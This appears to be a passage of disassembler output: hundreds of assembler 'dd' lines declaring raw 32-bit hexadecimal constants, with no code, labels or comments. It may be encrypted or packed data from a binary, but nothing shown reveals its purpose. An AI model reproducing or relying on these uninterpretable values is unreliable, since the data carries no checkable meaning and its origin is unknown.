		dd 73C65038h, 0C97EFD29h, 14379B57h, 6EC0CF3Ah,	7CE3E2BEh
		dd 22EE2789h, 0C240D66Fh, 0DB26D900h, 99B85F2Bh, 85470759h
		dd 0AE5F1795h, 5C4BF8CBh, 0A33238FEh, 6BF986ABh, 8C34ACBEh
		dd 77CDCA55h, 0CEC500B0h, 0D695B3D7h, 0B045CAB1h, 9F76D9E9h
		dd 0D677694Dh, 0B438D83Dh, 0E2F49DB6h, 9A83F625h, 41565A08h
		dd 294B97F6h, 274882AEh, 0A1D817B0h, 0AA24DD25h, 2B7AD920h
		dd 91E343E5h, 7669D721h, 0D9509DA7h, 0C815CB2Bh, 0ADE1419Dh
		dd 42967003h, 6DB9A84Bh, 38DC6C77h, 22D84953h, 28B58ADDh
		dd 0B9554A54h, 0BCACB0BBh, 6C3FF912h, 0AFEE222Ch, 1EBEB04Ah
		dd 6469E836h, 2F55F4B2h, 685E7F58h, 7842C907h, 53F13768h
		dd 9171490Dh, 0E979689h, 771E942Ch, 4D32B76h, 0CB098CA5h
		dd 33066758h, 1E6A14F7h, 9102E0D8h, 50FD87C7h, 24855E97h
		dd 152AAA7Dh, 0AAB081F9h, 6FEA44D4h, 4AE6523Ch,	6D593D42h
		dd 579A552Ch, 96169DF9h, 8A037676h, 487AC3B1h, 0AD0ADAC6h
		dd 0DF1FF4CBh, 0FC5C1AA6h, 0D676656Bh, 39CD9C9Ah, 3750EF7Ch
		dd 2A9B1BC7h, 4EAAF10h,	8C641C9Eh, 58DB12CEh, 0DD617766h
		dd 0CAB6F1F1h, 0A0F866C7h, 7EF0AB11h, 7A09AC45h, 166E5C64h
		dd 0A7645AA9h, 0BE53DFAAh, 0D9700CF0h, 0BFDD3E46h, 5B02D388h
		dd 0BE7009CAh, 9E563578h, 49B5334Ch, 33245EA4h,	4927FE3Fh
		dd 828E0FA6h, 1E1E750Fh, 4253001Dh, 0D669D643h,	0AC2C0F84h
		dd 0F47559E2h, 960BD63Ah, 0D0BE81D7h, 0BE271BAAh, 0B6A817DFh
		dd 5A5FA730h, 163CF078h, 37C33C71h, 0BD7034E9h,	4938174Dh
		dd 0C689F27Ch, 0F750FC61h, 0FE0FF38Bh, 0A82762CCh, 0CC8DEDB5h
		dd 8264C947h, 8CD6CA13h, 21D54938h, 6B7D5EB5h, 2287B400h
		dd 0A3F1C820h, 76435E96h, 69D75DF2h, 41E2C829h,	6BE10188h
		dd 0F6F23C1h, 60442C0Ch, 2E5172DCh, 0CAC0EBABh,	90EBD048h
		dd 0ABB0A631h, 34D099CFh, 0C24C1A7Bh, 15E5AC0Ch, 4D3A7633h
		dd 0FE70C8C8h, 663691B7h, 0DBB8C109h, 1CB3A696h, 1606B22Ch
		dd 0F95251DBh, 8340A435h, 8F0C23B4h, 0B07014BFh, 0C558C845h
		dd 0D328AF3Fh, 534561B8h, 0EC686510h, 0DCB8C279h, 102E9D40h
		dd 48C609B5h, 0FDEC9E73h, 3973BBE6h, 0FC6F6D53h, 22BD9494h
		dd 25E8BE6Ah, 6FFDC2A1h, 3B28E984h, 0C1A10C60h,	0F2F0493h
		dd 0A6D63AE0h, 0A676EDF8h, 0E81DCA3Ch, 0E7644AA9h, 4A9194C5h
		dd 0DF3D1980h, 1F2E1D10h, 8FCC63D5h, 96879AF3h,	7002369Fh
		dd 62BC4E99h, 3D29E1BDh, 7412E801h, 0ECE5F8DAh,	1315B7CFh
		dd 0A4B96257h, 671E285Eh, 1E7E3A40h, 7E86162Fh,	32B60535h
		dd 670C5DA1h, 0BAB76CA9h, 51CE800Bh, 30E83E6Dh,	0D776087Ah
		dd 3757D417h, 0E035AB8h, 8FB54197h, 773A379Eh, 0CEC84677h
		dd 78586F4Eh, 0A358D546h, 73C9172Dh, 898DF0B2h,	0D73E7527h
		dd 37B53B35h, 912D37DCh, 27D8AB0Fh, 3953C8F1h, 0B042C745h
		dd 3ACAFCE7h, 9BBF9868h, 1C579F7Ch, 0A7671DAAh,	835BC203h
		dd 0B15AE4E1h, 6CB31081h, 0D7BED1Ch, 91FABD85h,	336A72EBh
		dd 638FADD5h, 3B148774h, 0F6E2E846h, 0DBCC6491h, 5AB0AFD4h
		dd 114495FBh, 0E2FE0957h, 4E8D06DBh, 18C8FA48h,	0CFC298Dh
		dd 57BF76F4h, 0EECA107Dh, 969ABB5Ch, 0B54D283h,	16DEF43Dh
		dd 206A80A6h, 45C498E2h, 0F2E60DACh, 573427EDh,	57BA48AEh
		dd 0A00B24D1h, 0B94F913Eh, 0BD412E02h, 35BFF9AFh, 0CF731502h
		dd 35DAED94h, 9E6DAFE0h, 96AE32F6h, 586673Dh, 7B08B44Ch
		dd 9B08CA8Ah, 3E9A02Dh,	0C82A47A9h, 3278C77Bh, 7851EF8h
		dd 0A06A00B5h, 0F582B3D9h, 0EDF703BEh, 0E02D243Bh, 0E35B7B1Bh
		dd 0DEF3F1A1h, 0F7D5A043h, 84B077CCh, 0AA68B70Bh, 2BB8C1F2h
		dd 0BD021AE0h, 4C8C41A5h, 40A096E0h, 74F7967Bh,	0B3BF20C0h
		dd 3E06C621h, 4C54AA8Bh, 0F4391624h, 5EA9CBC5h,	268AB5F3h
		dd 0C79A4E71h, 0DC9CF310h, 8C800691h, 0B8A493C5h, 88C9E83Eh
		dd 2FF0EAD6h, 1019C318h, 217CD765h, 95EFCEF2h, 60CED06Bh
		dd 0EF13635Ch, 0FD01D13Fh, 0DDE66B3Fh, 0D066DDE1h, 0B61CD82Ah
		dd 45D070DCh, 0D985E8A0h, 0F14D0CDDh, 0D1F767C6h, 941EC8B4h
		dd 0E085EA17h, 90FA7BFFh, 0AD3C4DBCh, 875DB0Fh,	0BAC7D582h
		dd 3B404267h, 79D0A10Ah, 12A83911h, 2640F130h, 0F91EE697h
		dd 9FA0968Dh, 84108CF3h, 1CA6ACCDh, 7325A0A5h, 0E447700Eh
		dd 6AE11726h, 6966DBCAh, 0A5E9C91Fh, 0D54275BAh, 2305403Fh
		dd 7520F33Bh, 2BD9C09Dh, 90350F14h, 37DE7DE2h, 9497D15Ch
		dd 0CA3F80EEh, 0F83C08F2h, 9ACB4D83h, 6D98D7EDh, 0DAE5F60Ch
		dd 0F663A678h, 0FE4A5329h, 6DA57348h, 9FDC4F4Bh, 5F9D66B8h
		dd 2DBB9FBFh, 93712A6Fh, 9D4BBF34h, 56425C58h, 5383AA5Eh
		dd 2D57F7ACh, 9A6EAB77h, 4427A239h, 807E3D51h, 0EAEB6A12h
		dd 0F705659Ch, 87D2BE43h, 0F8D3D5C2h, 2AA2B21Ch, 3822D4D7h
		dd 0F36F01EEh, 5A7D23ACh, 0C144BE2h, 0A32793B7h, 1283E85Ch
		dd 5CAD5BCh, 4D372F60h,	34B4A7D7h, 0AF3572Eh, 0A29C8Dh
		dd 14E25025h, 765BC2E2h, 4EEF481Fh, 0C0FDD297h,	20B76B7Eh
		dd 0DDE783F8h, 8EFD584Bh, 0D9D0D846h, 677372F3h, 8701408h
		dd 0DEE316E3h, 0A0D5078Dh, 0A0480FA1h, 0D5F4C084h, 9B108322h
		dd 5C1EC77Dh, 0ECD4524Eh, 5588C681h, 3453FD69h,	6DB8872Dh
		dd 75FCA7Ah, 297A4F0Fh,	0C9CBB65Ah, 837018CAh, 957B0D21h
		dd 0ECC65119h, 0E4EE002Bh, 131BAF93h, 0EEE6B668h, 7D7A0D1Eh
		dd 17B6322Eh, 9B837B1h,	966BBECCh, 0F670BC79h, 1830F4F5h
		dd 8AD48B1Bh, 5AFA9C23h, 7DDCF806h, 0BD7E6E53h,	8C0C5330h
		dd 459002B6h, 0D744C7Ah, 0E5EA6B05h, 41AD25DAh,	7CFE940Eh
		dd 3EE9EA00h, 0C04D9B7Ah, 20CB76Ch, 61023D04h, 94D5DE8h
		dd 247A7256h, 0FE3AB999h, 4D79FB59h, 0E145633Ch, 4596085Bh
		dd 0C78BC40Ah, 0ACBEE500h, 0B62AD0F2h, 15E70923h, 0ECB11D9Fh
		dd 9EFBC9CEh, 0CD85F6BBh, 0E1E128E3h, 0A4F68C87h, 0C44A3433h
		dd 0E5E8D33Eh, 0C8A31BE0h, 7152048Dh, 0BDF22302h, 0FB1E4F93h
		dd 5CBA9726h, 9B3846EBh, 8E068D46h, 0EFA0BD6Eh,	0D683E851h
		dd 5C665EC4h, 0BA75E645h, 20284C46h, 0F11880B4h, 0D59AECEEh
		dd 9EB235EAh, 2CAB9D01h, 0A75345AFh, 3CE5C7A8h,	207295C0h
		dd 0B3D3FF88h, 22970483h
		dd 4AA160ABh, 4B83A920h, 115A393Ch, 1FC179B9h, 253F35A4h
		dd 6FB97EBCh, 584A70F9h, 29545628h, 4C4DC6BBh, 0ED183BC4h
		dd 8CB71BDAh, 0AFD7AABDh, 0E03FB538h, 12184523h, 7E384F09h
		dd 23DBD5B2h, 8F972FBh,	292D3B12h, 0C1045137h, 154A6373h
		dd 1443DE9Dh, 0CA9EDA0Ch, 0ACEDA9h, 409C96BEh, 5E2AE360h
		dd 4BCAAED0h, 460E0B93h, 0C8C6ECE0h, 0A7422D35h, 8619B85Bh
		dd 0FE4A568Dh, 9336F563h, 3F7F6240h, 0B198A5C0h, 0B900C932h
		dd 771F80E1h, 0CA6B31Ch, 16F16F94h, 9DCC7C0Fh, 4FE7DD56h
		dd 27D5F7C1h, 0AA11160Dh, 9A07F167h, 0B5B75AAEh, 16C064BAh
		dd 404EA20Ah, 0DF9B6871h, 0C50B1730h, 0C7340C51h, 8D689272h
		dd 0FBB7B422h, 0B4EA5DC5h, 0D99431B4h, 9C4DC1F1h, 69DD93DFh
		dd 0BA642044h, 0A9C6B5EBh, 0B834474Dh, 0E6971FE0h, 8FCD760Ch
		dd 457AE4E3h, 593441E3h, 0F57B795h, 60F01711h, 8929B5DAh
		dd 0B34BC8C1h, 0CC70725Ch, 20C69369h, 0ADDB2540h, 8FE0BF7Ah
		dd 78CB635Fh, 990749A3h, 71AD75B1h, 4A0A941h, 2FCD3996h
		dd 7F699371h, 861826DCh, 6BED0D9h, 2DF447DDh, 50851F78h
		dd 0E4F03510h, 0F0F3A2B0h, 6AC54C05h, 0FA489052h, 9E3B31CDh
		dd 0AF96AC90h, 0DF9BADC7h, 63AB6765h, 556CC4DBh, 992B1852h
		dd 0B795AEAh, 0AAB3D7C6h, 65E1E67Fh, 396DF568h,	0BC7C0CFBh
		dd 2F534466h, 9B650AE7h, 0BA0B5961h, 0B709225Ch, 0D587DF41h
		dd 0C9E53879h, 466E3635h, 697782F7h, 0C67FE2B6h, 1B569AF6h
		dd 39300C66h, 5F13B627h, 263131Ch, 0B1E25A31h, 64F3480Ah
		dd 0E279BFE0h, 0B500B32Ah, 0D28F02EEh, 813A38B1h, 0E470B1D3h
		dd 412B9857h, 49C03A63h, 0B43C6A61h, 442C5604h,	94B58DD5h
		dd 7E7D0516h, 7B8ED3D1h, 0E12251EAh, 552D643Bh,	0C5D8A37Ah
		dd 0BC3F1984h, 0EA724227h, 6FAC5FEBh, 8EFCD8E4h, 48107958h
		dd 6665619Bh, 0B7A5EE22h, 486A1196h, 0FB944922h, 0B95199A8h
		dd 4AF949A8h, 3D1CD089h, 662B6B60h, 1CCB240Fh, 0CBB10815h
		dd 0B4F95748h, 471C97D8h, 37D3CCC0h, 0AD58C0BCh, 0AE9ADDEh
		dd 0E5502EB3h, 0AF8865F2h, 0B91A4FDh, 393205C7h, 49EC3EFEh
		dd 79B30452h, 0AEB44D1Ch, 8C397FCFh, 66272224h,	0B1CD62DAh
		dd 6F3F23Ah, 0BAF3A04Eh, 0D4676DFBh, 694B73CDh,	506F6F20h
		dd 1E6FD83Bh, 0FB029024h, 2ED9AEE5h, 0ED0F86DBh, 0C56A11A2h
		dd 0A48CAEB0h, 0AB02BBBAh, 0F1F21306h, 44BADD26h, 23AB3070h
		dd 0D2A5C67Ah, 0A6CEA4E6h, 0B71D89BBh, 8F64DD72h, 9464C507h
		dd 0D1721477h, 4186C452h, 61B1D7FDh, 0C6010A55h, 82308CBEh
		dd 879C87A7h, 0BE0698D5h, 0F1FB81AFh, 0DC1E6B3Bh, 19BA1DB7h
		dd 0B908A67Dh, 0B7D21C4Bh, 0C63B349h, 496418CAh, 9DAD44Bh
		dd 3E6AF41Dh, 97540434h, 9BF45E5h, 0B9ECF6B5h, 48CBE010h
		dd 980F651Ch, 0D860C0A3h, 0F14D0FCCh, 0D73E2823h, 6EEB9815h
		dd 65D2FDE2h, 1645D26Fh, 3A604B2Ch, 96F779A1h, 0A7C19C7Dh
		dd 6CE773BAh, 0D7C50AB4h, 0CBF777D6h, 0DDAA8FDDh, 0BD3746A7h
		dd 1E9C7A00h, 0BB2DC348h, 0BEC39138h, 64F87EBh,	0C1D5A7D6h
		dd 46210A0Bh, 0E637AB14h, 96EF8F08h, 983E77A2h,	6594A3ABh
		dd 480EDFA6h, 56D627EAh, 5DBB18D7h, 7CDCED1h, 0CBA1AACh
		dd 9E64AB0Bh, 5CB9D049h, 0C37030BDh, 5E2D8C48h,	0D74DE09Fh
		dd 502308AFh, 0DE822022h, 5A3CC0C3h, 5121652Dh,	0BE4249DBh
		dd 0BE56DDB5h, 93EDF13h, 5F60EF49h, 0EDD65AA5h,	0B9449FCDh
		dd 0C3C43D1Ah, 8342643Eh, 5C1AFA76h, 469C6F7Eh,	7234C286h
		dd 681C1117h, 470CB108h, 6911D8E3h, 996AAF2Fh, 74E729DFh
		dd 5027BE30h, 95C7DDAh,	0DC06708Bh, 81A42A28h, 442C489Eh
		dd 0D43ED6B1h, 0BD12862Dh, 0AC04323Ch, 7648F2B4h, 85F9111h
		dd 9C2DB1BEh, 0F9EACB99h, 0D6806D39h, 0FCDC4BA2h, 0E622CF2Fh
		dd 693E621h, 0F74A461Dh, 1D5C5CBFh, 3147C7DBh, 0B026DCDAh
		dd 0C18361DAh, 15C38F7Bh, 4A517E4h, 1FDA2FB7h, 4929605Ah
		dd 0A6FE8B7Dh, 73066905h, 0FC8BDC47h, 680F435Ch, 6359C087h
		dd 7118524Fh, 0FFAF1726h, 5B8A7DDBh, 55CABD20h,	2C9EE48Ah
		dd 35B85A01h, 44A83873h, 8F5A4DC6h, 0B3C500CBh,	56BF6DAh
		dd 86241605h, 2595F24Bh, 0F5991F9Ah, 0B110857Fh, 3A390B37h
		dd 0ADAC1AEAh, 0CEBBCCCEh, 0C113A589h, 8299E877h, 2AC0780Ch
		dd 0A4676D74h, 0B0C24D68h, 1CD344B3h, 89E43682h, 0FE3BDC0Ah
		dd 1B863729h, 664B5112h, 24258D27h, 74DDC95Eh, 5DBC618Ah
		dd 3CCA6F07h, 6A9B3EF3h, 0E05A8F9Ch, 0EFD75389h, 43340143h
		dd 3CCFEF91h, 67A0DBB0h, 79F6B61Ch, 0A84FA78Ah,	7101D8EAh
		dd 0C04EB248h, 312866F6h, 327BB706h, 926334B9h,	0E6865199h
		dd 0DAB5FC1Eh, 0BE46542Ah, 50E8F6DCh, 89F309FDh, 9D3C80E8h
		dd 0DD9693Ah, 12FD7620h, 3E6F9189h, 983F47D9h, 6FE50152h
		dd 47A3444Ch, 1D5CB27Ch, 0F89D1D68h, 3AA09B34h,	0BECE1026h
		dd 3BAF7F82h, 0D33D9EAFh, 30952A0h, 0E0C1CD7h, 0C5C8CC94h
		dd 61970DC5h, 93FBAB70h, 2370F87Dh, 0F86B86Fh, 2239401Dh
		dd 5FF07678h, 0E38F1EFCh, 874C370Fh, 2BC0FFB9h,	38E62892h
		dd 3C19F382h, 8C23728Ah, 46F08152h, 87C3882Eh, 338757EEh
		dd 8044EF86h, 0A8A2E2CCh, 0BDB91E80h, 0B9889AC9h, 0B011388Bh
		dd 0DAEAE0Ch, 29AACBDCh, 7D05D6AEh, 0D9672A10h,	32061AF8h
		dd 315E359Eh, 0F2D0EF39h, 0E702C5DFh, 2C116640h, 52178C53h
		dd 0C54A51F4h, 32AE29D0h, 4C61E619h, 678E842Bh,	517E6331h
		dd 0A2BEB89Eh, 22ACFE65h, 92463257h, 99D3CBDh, 52C94A73h
		dd 506D5A77h, 0EC37131Ah, 609C145Ch, 0A6521BBh,	4207FF57h
		dd 0EA9B22EAh, 82D2E457h, 0ED52953Ch, 0BB6AE0D2h, 0F6BFD019h
		dd 0C9B81585h, 370D7472h, 2FD66481h, 20AE7B32h,	0A9249240h
		dd 442500AEh, 35AC18ABh, 0A2769EDDh, 0C42FF69Bh, 0B77A97FDh
		dd 22519B0Ch, 90C43B56h, 3E198894h, 0D87067EAh,	15237EC3h
		dd 877DAD39h, 0FE3B88F9h, 0D360580h, 16884CA3h,	0FAAA0794h
		dd 6F6C8F58h, 0AD7D6CB5h, 0AEE2FF89h, 855B8181h, 0F459C091h
		dd 4A5EF97Bh, 0CEBF9CB7h, 3CE69667h, 0B890DB66h, 0FB8D4AAAh
		dd 86FB245Dh, 0EDD25BACh, 7265BB05h, 8A27CA6Ah,	0FF107404h
		dd 0F88603C3h, 720D207Bh, 0D7AD7947h, 682092A8h, 89E0734Eh
		dd 0E03FE49Ah, 0B07AD3F9h, 0C6365124h, 0D25DF178h, 0B61DD2DBh
		dd 0D48E9FFDh, 6EC80C8h, 96A3B59Ch, 0DD1BE161h,	0EBB133A0h
		dd 0F70BB7C2h, 6DB7E04Dh, 855DD5E5h, 620600A6h,	80C8D374h
		dd 0E66322D0h, 5F7885FCh, 0EC7A9FABh, 7FED48BFh, 0E0ECEC7Eh
		dd 0AB8938DDh, 0FFF1D3F0h, 0F26BE908h, 2EBE095Ch, 147BC86Bh
		dd 3CE8CC73h, 3449621h,	80BE71E2h, 0CF5D2E43h, 0AF5E62C7h
		dd 0AFD0B392h, 42D23097h, 89F792Ah, 295B740Bh, 1073E2ABh
		dd 0B351F888h, 0B3008D6h, 8CE5E009h, 3AD19E64h,	3265D4CEh
		dd 720A4971h, 994335F4h, 4F585680h, 0BFFBA4E5h,	0DA1A74D7h
		dd 254B95E2h, 0D8E529BDh, 46C00486h, 0AFED151Ch, 132D5116h
		dd 343AB0Dh, 6A36CCF7h,	72CF3D18h, 0BCB4FA59h, 0C30E7645h
		dd 4156EDE9h, 0BE374AB0h, 93123D96h, 0EAFCDD79h, 0B77253A5h
		dd 21FA4D0Ch, 12970C24h, 5D5F7A99h, 9237E79Fh, 0ECAA8CF2h
		dd 0AD4C69Fh, 639123CCh, 0CA8F2135h, 3C50D356h,	321CA8D0h
		dd 0BF431416h, 0FDD34D47h, 5E86F53Fh, 0FF732A52h, 643D6640h
		dd 35EA932Ah, 1ED2AD7Dh
		dd 1C6392F6h, 7C5B5737h, 0D7288211h, 1D5DF48Bh,	0F1ACF7EDh
		dd 963A01E9h, 0A37743FCh, 916E9525h, 93B62308h,	0B3D92D20h
		dd 0E0FDEBF4h, 0E2A952A5h, 96ADD7B2h, 0DB6685E4h, 623F8B16h
		dd 0D1953FC5h, 66C007A2h, 0B844D88Ah, 0B2D1CADEh, 339B1463h
		dd 5AC4EF2Eh, 0C340C4BDh, 7A7C9278h, 14AA020Ah,	119F124Eh
		dd 82A2E03Bh, 0CF364D51h, 23E5D42h, 929E77C9h, 5DDEF040h
		dd 0F5B73D13h, 7C49E71Ch, 0DF650877h, 869799F1h, 0C06FDF2Fh
		dd 1A5A8744h, 2E29B1E6h, 84FC7F44h, 8BA1BF26h, 0C5B10D5Ah
		dd 44D9410Eh, 0C26838E6h, 345CE256h, 4E00C144h,	391B6D46h
		dd 3149B9EEh, 87EDCDA9h, 0C4C3B7F5h, 0F890A35Dh, 0D5531517h
		dd 0B1D0C91Ah, 2DDB8D8Fh, 2040878Fh, 0F8057D4Dh, 0AD318536h
		dd 0F1EA94E5h, 2543335Eh, 5CFBD0C2h, 0E277AB15h, 5162019Bh
		dd 8A4975D4h, 311428A8h, 89E99C35h, 30138899h, 92A5323Dh
		dd 0C18B14Ah, 9AEB90Dh,	39CBD756h, 7E1FC641h, 0F8A9E73Ah
		dd 90FAF8AEh, 0A5C2E0F9h, 586F1108h, 0BFF56024h, 0EA6250D2h
		dd 70FB3E18h, 0CB896677h, 962DB57Fh, 5DE9796h, 0FF621E40h
		dd 53A52D9Bh, 2F12FB50h, 0CE5FE799h, 4ECE9CB4h,	1A0DC519h
		dd 0EF7EBBF7h, 467935C5h, 0E791A6E6h, 0BC42D1D6h, 0FBC2F35Fh
		dd 0F1900629h, 4226ABA0h, 12A27045h, 25EF7ABh, 39C72642h
		dd 0C9D46B17h, 0F2E2F34Eh, 0C8F3E50Fh, 56EF243Fh, 89F2D58Dh
		dd 70D045F0h, 997E029Fh, 0A419C5E2h, 0C400D686h, 0D404066Ah
		dd 0B9DE1ABBh, 0C47DBF18h, 0D3C5B420h, 76F3D6F3h, 77DE0627h
		dd 59432186h, 0F9893F3Ah, 8F169653h, 0C6249909h, 138AB3BFh
		dd 562F180Eh, 7DC8FE30h, 0CFDBE4Ch, 423023C6h, 6BB088B5h
		dd 2F4FED72h, 837CF386h, 29865A51h, 0DB4E8B49h,	8F293A47h
		dd 0C443D463h, 2945D141h, 693F8DB6h, 8741CAD7h,	57A36D1Eh
		dd 5EE8C5B8h, 290DDF64h, 6848A67Fh, 1AB6AA79h, 0A7DE180h
		dd 0FE120135h, 59289DBCh, 0E7AEFC36h, 0DEC7F948h, 0E0D16D79h
		dd 9466CAB4h, 0E4C2A2B6h, 0DAE3C8A4h, 0FBDB723h, 73ED280Dh
		dd 39571684h, 0BB774129h, 748581Eh, 542C90CEh, 0C9EA169Dh
		dd 0CD71C13Ah, 0B9BBAB61h, 1005D5E2h, 5D9CBF1Fh, 0C123BE94h
		dd 106769A8h, 0BA714433h, 81360E00h, 0C050CB82h, 0B0141B5Bh
		dd 9258D48h, 5277CE4h, 0F3D3585Ch, 43965927h, 9EECB8F6h
		dd 249CB182h, 841C817h,	314238CAh, 86A8DBC7h, 6C386030h
		dd 0BCD8E5BFh, 8C2B32D0h, 0CC61AC2Ah, 8337051Bh, 8DA0DFD5h
		dd 0C205C3C9h, 0BC811AA3h, 339B7D61h, 24FD939Dh, 7F537EA4h
		dd 0E7A0C31Dh, 0C60379D7h, 3070780Dh, 0D804631Dh, 2FB11AAh
		dd 5B9ADBB0h, 28AB4A90h, 0B825D2BAh, 0C32255B2h, 60D106DAh
		dd 28C71A7Fh, 0BC31DABCh, 918604CDh, 0B2B5BB37h, 79A5CD4Eh
		dd 1DD1B861h, 0C6A17966h, 875829EEh, 0BEFE4D5Dh, 44722610h
		dd 81A2414Bh, 216FBACCh, 84333B33h, 0DF48B784h,	0FB94C868h
		dd 77C348E3h, 0FD9D7C55h, 9124DF99h, 0EB85E61Ah, 0AAA67627h
		dd 0D5759FF5h, 0FE96FC7Eh, 0EB66C556h, 0FCF403D4h, 8C41F264h
		dd 3D2DC82Dh, 376F5874h, 94D3A864h, 437D580h, 6E8160E1h
		dd 670EF36h, 0AEC78FA2h, 0A177E67Dh, 1FDDDC1Eh,	9780DDA1h
		dd 617BB150h, 0FA46A240h, 396FC9Ah, 73473DA9h, 0DC512E5Eh
		dd 0A208CFECh, 0D2552967h, 0E4DA29E0h, 375D5C73h, 0AE4237CAh
		dd 863377B0h, 16F8F449h, 8D843EC9h, 477F5434h, 0FA356F38h
		dd 0D1A23690h, 6CDB48F4h, 9DF7F36Dh, 78B7A50Ch,	67AB4B5Ch
		dd 0EE6CD0E2h, 2AF6AB27h, 34492F84h, 0F4329E08h, 0D0E492E7h
		dd 1216AB39h, 5DAAE82Eh, 6BE91214h, 0F44A9B88h,	0C5E46041h
		dd 18947788h, 0BE329C88h, 0BA559980h, 1A2C6D70h, 0FB019F88h
		dd 0F691B5CDh, 16D45029h, 0FA469DFCh, 7C2B9A52h, 0FD755774h
		dd 1B185925h, 0F293C18Bh, 4E1DC89Bh, 77B60169h,	0DABB12B0h
		dd 891CC2D3h, 0DB9AE294h, 0C76602BCh, 0DBE7111Ch, 0F9DF9641h
		dd 0C39D789Eh, 0B140DDABh, 76CB842Bh, 0BC79EC0Fh, 0B836D67Bh
		dd 8E94F33Bh, 0B608232Fh, 0ED32B0E2h, 0E6418BC8h, 6F1A67A3h
		dd 7EB3A9BBh, 9D499D5Eh, 1807BABFh, 0F7533F4Fh,	0AFAA9C3Fh
		dd 99C6BD7Eh, 379568D9h, 0F8B59C51h, 3F9B752Ch,	9984F4A3h
		dd 53B7ACF2h, 0D5EEFB2Dh, 0C86B2EA8h, 86E95A39h, 2114CE4h
		dd 0EF515242h, 13A2CB60h, 0A0EBD7AFh, 0CE2F5E12h, 22C41FE1h
		dd 6412609Bh, 0C28E84F4h, 0FF7EB38h, 3AE34D1Ah,	0DDDCB8CCh
		dd 0EB35E04Ch, 0CBD672Fh, 7F830409h, 0AB92CC7Ah, 0AF69B4C4h
		dd 0A453CD77h, 914A8879h, 0FBC5E0E7h, 0B1DB962h, 0F0323F69h
		dd 13820D3Dh, 2018FDDAh, 0A06849A2h, 5D89FF73h,	4370D94Bh
		dd 4A36C12Fh, 2DE991CDh, 0FDA89E53h, 0BF6C989Ah, 57F17442h
		dd 86957D5Bh, 53706FDCh, 1FF26C3h, 3E824A7Bh, 43C05A89h
		dd 0F0B582h, 0CFF4C6CEh, 3992CF8Ah, 0FFC732A9h,	4547685Bh
		dd 975A733h, 2F5D167Ah,	0CEEACC73h, 97F9BEF6h, 1687CD9Eh
		dd 0B9E4C6DAh, 34B577CEh, 7AFA0E4Dh, 66BCBBDBh,	436E7E73h
		dd 0D535DB8Eh, 79268497h, 6DA6CEF1h, 8C2AABEAh,	8C872C76h
		dd 1C003494h, 56ACE12h,	0FA16DC85h, 8050328Ch, 0B194B6CCh
		dd 7AA0875Bh, 9811E01Ch, 1FB030EFh, 0AA8E12B9h,	0A57BDBCDh
		dd 0A72135A4h, 6D767D03h, 26A9D88Ch, 0C3091FECh, 0C250AEDAh
		dd 482EB90Ah, 20A4D5F2h, 0F05F3E7Bh, 53BF3FE0h,	0BB93AAA2h
		dd 7381DAAEh, 0B7CBCEBEh, 7995F9E1h, 78C195B9h,	8D278E76h
		dd 241FF8B0h, 0A049B302h, 0EFB2D949h, 5FE3251Fh, 0B69EFAECh
		dd 2D649296h, 5714C0FBh, 0F47C86C9h, 835DBCCAh,	21D40F0Eh
		dd 0D78B6B34h, 7BCF4A8Ch, 854B8463h, 0CE4A1E83h, 0C78D4B67h
		dd 0F580C07Ch, 3BE8A4Ch, 57DD427Bh, 89EC0771h, 0F9F9EED4h
		dd 0DAEC6DD9h, 0B24DFDB3h, 0B73BFF2Ch, 0AE75F93Dh, 3B297A0Eh
		dd 6F1715BBh, 60DC98CBh, 8E463788h, 551412AFh, 0D5869D68h
		dd 4A34FCC4h, 11930EA5h, 0EDA528DEh, 157F653h, 443FE07Bh
		dd 7C2D7E50h, 89AEC4h, 0FFF43DD0h, 4E6AA381h, 0DC23A99h
		dd 0BC2C46FEh, 0BE5C0F34h, 1B0BC576h, 0E1B68F66h, 92C768D3h
		dd 0A9219AB9h, 247ACAB7h, 0F0F95859h, 9F570903h, 3A13131h
		dd 0F72A9220h, 929880CBh, 0B99A2182h, 0D1587A78h, 0EA8D33DBh
		dd 19A9A01Ah, 181E0E49h, 0F0B722E9h, 4847BF2Dh,	8435F40h
		dd 0F5F86D96h, 8BC91E0h, 0E739F955h, 5A950579h,	0CF81B47Fh
		dd 6DC4B61Fh, 0C975EAB3h, 24F83574h, 55496853h,	83A1DF41h
		dd 8E279836h, 0E4C284EEh, 0F7ECD0A1h, 22568Ch, 0E1995CCEh
		dd 32CB3104h, 3B0DC998h, 0DD7E7B03h, 362ED226h,	23E96BCFh
		dd 76E42F9Dh, 0AE815902h, 57A6E56Bh, 63B5123Ah,	0C6C27B0Ch
		dd 0FB37E77Eh, 6082D614h, 188AA61Fh, 663D4F7Ah,	726AA7F0h
		dd 0B3BB2A9Fh, 21ECFA7Fh, 0E10CEB65h, 51610EE2h, 0ED629DFAh
		dd 5A3C02FEh, 4188378Fh, 0FECCFF69h, 258AD36Ah,	0A897772Dh
		dd 0F00A4E2Ah, 1A73409Dh, 45D562EAh, 0A29DE7h, 94D4D85Ch
		dd 52282C1Ah, 4A4FE2C0h, 21BB05C6h, 23905A9Dh, 8FD67DF0h
		dd 8C64A4FCh, 54EB7D21h, 679A5626h, 5DDE7368h, 12015B46h
		dd 44B2445Fh, 97DD39A2h, 1C2E833Fh, 0DD9E5029h,	7D87202Bh
		dd 0D14FEB5Dh, 0ED815331h, 0C376C772h, 8D16D08Dh, 9F77321Eh
		dd 0E40DD6D7h, 0F91FAAEBh, 94FBB8AEh, 67F75064h, 8025E487h
		dd 0EE2EFE25h, 594838D1h
		dd 89D87651h, 0DD3B403Dh, 0D6BF8CBBh, 0AB22E31Eh, 2C5328D4h
		dd 0EA652044h, 157B165Eh, 4B2B669h, 0A1C381F8h,	0EEAFD6Bh
		dd 7A89DD92h, 2B58E307h, 0FB766DC8h, 10C231Dh, 6F588524h
		dd 0A9D8946h, 0A7A7859Ah, 51775B81h, 0E26DBE85h, 5525FA57h
		dd 66EB9A8Bh, 8836BC3Ch, 0A312D2B4h, 24958F7Ch,	0D2CB9C76h
		dd 15A84C82h, 0E43E5684h, 58E78BA7h, 0A891A646h, 7C1BE3F0h
		dd 0F0149595h, 2161B6F5h, 6E2A4637h, 24B215E2h,	1718E7A6h
		dd 679BB627h, 4943ABAAh, 0BE5100CAh, 2B3B15E6h,	0AB512C65h
		dd 0CC1E3D66h, 0B5E82CA1h, 0AD30CCBCh, 0C3CEE5F8h, 4A36022Fh
		dd 9338D587h, 0A25AC3F0h, 50D6E946h, 0B1E02615h, 0C07FF9CEh
		dd 0DA7D6222h, 4A6B476Bh, 36F3DB85h, 32C62A59h,	2CF3AD61h
		dd 0E0C5D108h, 54301BAh, 82AEA2AAh, 0DAF85926h,	0BEE4219Dh
